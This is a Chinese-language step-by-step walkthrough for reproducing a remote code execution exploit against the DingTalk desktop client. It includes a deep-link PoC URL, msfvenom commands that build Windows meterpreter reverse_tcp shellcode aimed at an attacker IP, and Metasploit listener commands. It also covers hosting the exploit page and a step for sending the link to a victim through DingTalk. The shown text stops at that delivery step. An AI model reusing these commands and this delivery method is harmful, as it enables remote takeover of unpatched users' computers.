文章目录
- 一、漏洞描述
- 二、漏洞原理
- 三、影响版本
- 四、复现过程
-
- 0.环境说明
- 1.msf 生成shellcode
- 2.msf开启监听
- 3.将生成的shellcode替换原shellcode
- 4.开启web服务,并上传poc文件,构造poc
- 5.从钉钉发送poc给受害者
- 6.受害者点击即会触发漏洞,在msf监听处上线。
- 五、修复建议
-
- 升级到最新版本
一、漏洞描述
钉钉具备获取查看web应用能力,且web站点通过http协议传输。基于payload可知,钉钉漏洞的利用就是通过HTTP协议进行访问构造的payload,从而达成远程RCE获取目标电脑权限。
钉钉6.3.5版本下载地址:
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
项目地址:https://github.com/crazy0x70/dingtalk-RCE
poc:dingtalk://dingtalkclient/page/link?url=http://your_ip/dingding.html&pc_slide=true
二、漏洞原理
利用了Chromium v8引擎整数溢出漏洞(是V8优化编译器Turbofan在SimplifiedLowering阶段产生的一个整数溢出漏洞),V8是Chromium内核中的JavaScript引擎,负责对JavaScript代码进行解释优化与执行。
三、影响版本
钉钉版本< 6.3.25-Release.2149108
四、复现过程
0.环境说明
攻击机:192.168.37.129(Kali Linux)
目标机:192.168.37.131(windows7)
1.msf 生成shellcode
msfvenom的命令行选项:
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口 -e x86/culprit -f csharp
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.37.129 LPORT=8834 -e x86/culprit -f csharp
2.msf开启监听
LHOST为攻击机IP,LPORT为刚才生成木马的端口
use exploit/multi/handler
set LHOST 192.168.37.129
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run
3.将生成的shellcode替换原shellcode
需要替换的位置为
var shellcode=new Uint8Array()
以后的部分
4.开启web服务,并上传poc文件,构造poc
python -m http.server 端口
5.从钉钉发送poc给受害者